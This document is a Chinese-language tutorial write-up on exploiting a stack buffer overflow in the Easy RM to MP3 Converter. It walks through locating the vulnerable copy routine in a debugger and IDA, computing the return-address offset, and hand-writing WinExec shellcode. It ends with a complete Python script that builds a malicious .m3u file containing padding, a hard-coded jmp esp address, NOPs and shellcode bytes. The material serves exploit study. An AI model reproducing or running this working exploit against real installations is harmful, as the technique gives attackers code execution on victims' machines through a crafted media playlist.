本文主要是Easy RM to MP3 Converter(MFC++编写)栈溢出的定位及windows下shellcode编写的一些心得。
用到的工具及漏洞程序下载地址https://github.com/5N1p3R0010/Easy-RM-to-MP3-Converter
首先,在填充字符为10000和20000时,异常被捕捉到
在填充字符为30000时,程序崩溃
查看程序使用MFC++编写,所以这里我们用静态分析的方法定位漏洞(用污点分析的方法应该很容易动态定位这个漏洞,但菜鸡我并不会)
首先把程序拖入IDBG,查找字符串引用。因为程序是在读取文件的时候崩溃的,所以找到click "Load"字符串,跟进即为load的处理函数
在IDA里查找这个字符串(4465F8)的交叉引用,可以看到第二个是他的处理函数
跟进函数发现sub_41E2B0在进行拷贝的时候没有检测长度
定位姿势更新(PS:事实证明,晚上陪妹子聊天到很晚是会失眠的,然后第二天就没什么精神=W=):
这次用消息断点的方法动态定位漏洞位置
首先我们用IMMDBG载入程序,然后F9运行
此时我们先下一个消息断点bp TranslateMessage MSG==WM_LBUTTONUP,然后单击LOAD。这个断点的意思是当处理消息为WM_LBUTTONUP的时候断在TranslateMessage函数起点,WM_LBUTTONUP这个消息是按下按键。进行消息处理时先GetMessage获取消息,然后TranslateMessage将windows键盘消息转换成ASCII放在消息队列,最后DispatchMessage将消息发送到对应窗口过程进行处理。
然后一直F8直到进入DispatchMessage函数
然后用IDA载入在同样的位置反汇编得到LOAD的处理函数,然后找到LOAD文件内容的处理函数
跟进后续处理结果就跟上一个方法一样了。
然后定位一下需要覆盖的栈内容长度
因为程序是在覆盖20000到30000之间崩溃的,所以用二分法构造一个payload='\x41'*25000+pattern5000,其中pattern5000用pattern.py生成便于计算偏移量。这样如果崩溃时的eip=41414141,则继续构造payload='\x41'*20000+pattern5000计算偏移;否则直接计算偏移即可。
在xp_en_sp2上得到的eip及偏移(这个值经我测试在不同系统上是不同的)
所以这里我们构造一个payload='\x41'*26076+addr_of_jmp_esp+nop+shellcode
关于shellcode,在exploit-db上找了几个shellcode都不能成功运行,所以最后决定自己编写
.386 .model flat,stdcall option casemap:none include C:\masm32\include\windows.inc include C:\masm32\include\user32.inc includelib C:\masm32\lib\user32.lib include C:\masm32\include\kernel32.inc includelib C:\masm32\lib\kernel32.lib .code start: ;WinExec("calc",5) xor eax,eax push eax mov eax,6578652Eh push eax mov eax,636c6163h push eax mov eax,esp push 5 push eax mov eax,77E6E695h;kernel32.winexec(),需要调试确定 call eax end start
关于向栈内push内容,可以手动hexeditor把要压入的内容逆序,也可以用分享的一个perl脚本pushString.pl来确定
(这里忽略第一行的空字节压栈)
读取编译好的字节码也可以用分享的perl脚本readbin.pl确定
这里可以对照OD确定机器码的起始位置。
完整exp如下
f=open('pwn.m3u','w') exp='\x41'*26076 exp+='\xed\x1e\x94\x7c'#addr_of_jmp_esp exp+='\x90'*4 exp+="\x33\xc0\x50\xb8\x2e\x65\x78\x65\x50\xb8\x63\x61\x6c\x63\x50\x8b\xc4\x6a\x05\x50\xb8\x4d\x11\x86\x7c\xff\xd0\x33\xc0\x50\xb8\x87\x2a\xe3\x77\xff\xd0\x33\xc0\x50\xb8\x87\x2a\xe3\x77\xff\xd0\x00" f.write(exp) f.close()
这里nop的数量需要根据调试确定,填充nop的原因跟函数的返回值有关。nop数量的确定可以用windbg附加程序,在jmp esp的地址下断点。
在断点处栈回溯(不添加nop时),发现shellcode并没有被完全执行
继续查看栈的内容发现addr_of_jmp_esp和jmp esp执行时有四字节的内容没有被执行,所以填充4字节的nop
填充4字节nop后,pwned
PS:在利用前需要注意的一点是需要把calc.exe添加系统环境变量或者把calc.exe添加到漏洞程序目录下,这跟winexec执行时加载的过程有关https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-winexec